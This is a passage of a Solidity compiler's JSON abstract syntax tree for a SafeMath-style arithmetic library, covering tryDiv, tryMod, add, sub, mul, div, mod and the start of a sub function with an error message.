"visibility": "internal"
}
],
"src": "4805:15:0"
},
"scope": 612,
"src": "4745:270:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 441,
"nodeType": "Block",
"src": "5099:119:0",
"statements": [
{
"id": 440,
"nodeType": "UncheckedBlock",
"src": "5110:101:0",
"statements": [
{
"condition": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 428,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 426,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 419,
"src": "5139:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"hexValue": "30",
"id": 427,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5144:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "5139:6:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"id": 433,
"nodeType": "IfStatement",
"src": "5135:29:0",
"trueBody": {
"expression": {
"components": [
{
"hexValue": "66616c7365",
"id": 429,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5155:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
{
"hexValue": "30",
"id": 430,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5162:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"id": 431,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "5154:10:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_rational_0_by_1_$",
"typeString": "tuple(bool,int_const 0)"
}
},
"functionReturnParameters": 425,
"id": 432,
"nodeType": "Return",
"src": "5147:17:0"
}
},
{
"expression": {
"components": [
{
"hexValue": "74727565",
"id": 434,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5187:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
{
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 437,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 435,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 417,
"src": "5193:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "/",
"rightExpression": {
"id": 436,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 419,
"src": "5197:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "5193:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"id": 438,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "5186:13:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_uint256_$",
"typeString": "tuple(bool,uint256)"
}
},
"functionReturnParameters": 425,
"id": 439,
"nodeType": "Return",
"src": "5179:20:0"
}
]
}
]
},
"id": 442,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "tryDiv",
"nameLocation": "5032:6:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 420,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 417,
"mutability": "mutable",
"name": "a",
"nameLocation": "5047:1:0",
"nodeType": "VariableDeclaration",
"scope": 442,
"src": "5039:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 416,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5039:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 419,
"mutability": "mutable",
"name": "b",
"nameLocation": "5058:1:0",
"nodeType": "VariableDeclaration",
"scope": 442,
"src": "5050:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 418,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5050:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5038:22:0"
},
"returnParameters": {
"id": 425,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 422,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 442,
"src": "5084:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 421,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "5084:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 424,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 442,
"src": "5090:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 423,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5090:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5083:15:0"
},
"scope": 612,
"src": "5023:195:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 468,
"nodeType": "Block",
"src": "5302:119:0",
"statements": [
{
"id": 467,
"nodeType": "UncheckedBlock",
"src": "5313:101:0",
"statements": [
{
"condition": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 455,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 453,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 446,
"src": "5342:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"hexValue": "30",
"id": 454,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5347:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "5342:6:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"id": 460,
"nodeType": "IfStatement",
"src": "5338:29:0",
"trueBody": {
"expression": {
"components": [
{
"hexValue": "66616c7365",
"id": 456,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5358:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
{
"hexValue": "30",
"id": 457,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5365:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"id": 458,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "5357:10:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_rational_0_by_1_$",
"typeString": "tuple(bool,int_const 0)"
}
},
"functionReturnParameters": 452,
"id": 459,
"nodeType": "Return",
"src": "5350:17:0"
}
},
{
"expression": {
"components": [
{
"hexValue": "74727565",
"id": 461,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5390:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
{
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 464,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 462,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 444,
"src": "5396:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "%",
"rightExpression": {
"id": 463,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 446,
"src": "5400:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "5396:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"id": 465,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "5389:13:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_uint256_$",
"typeString": "tuple(bool,uint256)"
}
},
"functionReturnParameters": 452,
"id": 466,
"nodeType": "Return",
"src": "5382:20:0"
}
]
}
]
},
"id": 469,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "tryMod",
"nameLocation": "5235:6:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 447,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 444,
"mutability": "mutable",
"name": "a",
"nameLocation": "5250:1:0",
"nodeType": "VariableDeclaration",
"scope": 469,
"src": "5242:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 443,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5242:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 446,
"mutability": "mutable",
"name": "b",
"nameLocation": "5261:1:0",
"nodeType": "VariableDeclaration",
"scope": 469,
"src": "5253:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 445,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5253:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5241:22:0"
},
"returnParameters": {
"id": 452,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 449,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 469,
"src": "5287:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 448,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "5287:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 451,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 469,
"src": "5293:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 450,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5293:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5286:15:0"
},
"scope": 612,
"src": "5226:195:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 482,
"nodeType": "Block",
"src": "5496:31:0",
"statements": [
{
"expression": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 480,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 478,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 471,
"src": "5514:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "+",
"rightExpression": {
"id": 479,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 473,
"src": "5518:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "5514:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"functionReturnParameters": 477,
"id": 481,
"nodeType": "Return",
"src": "5507:12:0"
}
]
},
"id": 483,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "add",
"nameLocation": "5438:3:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 474,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 471,
"mutability": "mutable",
"name": "a",
"nameLocation": "5450:1:0",
"nodeType": "VariableDeclaration",
"scope": 483,
"src": "5442:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 470,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5442:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 473,
"mutability": "mutable",
"name": "b",
"nameLocation": "5461:1:0",
"nodeType": "VariableDeclaration",
"scope": 483,
"src": "5453:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 472,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5453:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5441:22:0"
},
"returnParameters": {
"id": 477,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 476,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 483,
"src": "5487:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 475,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5487:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5486:9:0"
},
"scope": 612,
"src": "5429:98:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 496,
"nodeType": "Block",
"src": "5602:31:0",
"statements": [
{
"expression": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 494,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 492,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 485,
"src": "5620:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "-",
"rightExpression": {
"id": 493,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 487,
"src": "5624:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "5620:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"functionReturnParameters": 491,
"id": 495,
"nodeType": "Return",
"src": "5613:12:0"
}
]
},
"id": 497,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "sub",
"nameLocation": "5544:3:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 488,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 485,
"mutability": "mutable",
"name": "a",
"nameLocation": "5556:1:0",
"nodeType": "VariableDeclaration",
"scope": 497,
"src": "5548:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 484,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5548:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 487,
"mutability": "mutable",
"name": "b",
"nameLocation": "5567:1:0",
"nodeType": "VariableDeclaration",
"scope": 497,
"src": "5559:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 486,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5559:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5547:22:0"
},
"returnParameters": {
"id": 491,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 490,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 497,
"src": "5593:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 489,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5593:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5592:9:0"
},
"scope": 612,
"src": "5535:98:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 510,
"nodeType": "Block",
"src": "5708:31:0",
"statements": [
{
"expression": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 508,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 506,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 499,
"src": "5726:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "*",
"rightExpression": {
"id": 507,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 501,
"src": "5730:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "5726:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"functionReturnParameters": 505,
"id": 509,
"nodeType": "Return",
"src": "5719:12:0"
}
]
},
"id": 511,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "mul",
"nameLocation": "5650:3:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 502,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 499,
"mutability": "mutable",
"name": "a",
"nameLocation": "5662:1:0",
"nodeType": "VariableDeclaration",
"scope": 511,
"src": "5654:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 498,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5654:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 501,
"mutability": "mutable",
"name": "b",
"nameLocation": "5673:1:0",
"nodeType": "VariableDeclaration",
"scope": 511,
"src": "5665:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 500,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5665:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5653:22:0"
},
"returnParameters": {
"id": 505,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 504,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 511,
"src": "5699:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 503,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5699:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5698:9:0"
},
"scope": 612,
"src": "5641:98:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 524,
"nodeType": "Block",
"src": "5814:31:0",
"statements": [
{
"expression": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 522,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 520,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 513,
"src": "5832:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "/",
"rightExpression": {
"id": 521,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 515,
"src": "5836:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "5832:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"functionReturnParameters": 519,
"id": 523,
"nodeType": "Return",
"src": "5825:12:0"
}
]
},
"id": 525,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "div",
"nameLocation": "5756:3:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 516,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 513,
"mutability": "mutable",
"name": "a",
"nameLocation": "5768:1:0",
"nodeType": "VariableDeclaration",
"scope": 525,
"src": "5760:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 512,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5760:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 515,
"mutability": "mutable",
"name": "b",
"nameLocation": "5779:1:0",
"nodeType": "VariableDeclaration",
"scope": 525,
"src": "5771:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 514,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5771:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5759:22:0"
},
"returnParameters": {
"id": 519,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 518,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 525,
"src": "5805:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 517,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5805:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5804:9:0"
},
"scope": 612,
"src": "5747:98:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 538,
"nodeType": "Block",
"src": "5920:31:0",
"statements": [
{
"expression": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 536,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 534,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 527,
"src": "5938:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "%",
"rightExpression": {
"id": 535,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 529,
"src": "5942:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "5938:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"functionReturnParameters": 533,
"id": 537,
"nodeType": "Return",
"src": "5931:12:0"
}
]
},
"id": 539,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "mod",
"nameLocation": "5862:3:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 530,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 527,
"mutability": "mutable",
"name": "a",
"nameLocation": "5874:1:0",
"nodeType": "VariableDeclaration",
"scope": 539,
"src": "5866:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 526,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5866:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 529,
"mutability": "mutable",
"name": "b",
"nameLocation": "5885:1:0",
"nodeType": "VariableDeclaration",
"scope": 539,
"src": "5877:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 528,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5877:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5865:22:0"
},
"returnParameters": {
"id": 533,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 532,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 539,
"src": "5911:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 531,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5911:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "5910:9:0"
},
"scope": 612,
"src": "5853:98:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 562,
"nodeType": "Block",
"src": "6054:111:0",
"statements": [
{
"id": 561,
"nodeType": "UncheckedBlock",
"src": "6065:93:0",
"statements": [
{
"expression": {
"arguments": [
{
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 553,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 551,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 543,
"src": "6098:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "<=",
"rightExpression": {
"id": 552,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 541,
"src": "6103:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "6098:6:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"id": 554,
"name": "errorMessage",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 545,
"src": "6106:12:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 550,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
4294967278,
4294967278
],
"referencedDeclaration": 4294967278,
"src": "6090:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 555,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "6090:29:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 556,
"nodeType": "ExpressionStatement",
"src": "6090:29:0"
},
{
"expression": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 559,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 557,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 541,
"src": "6141:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
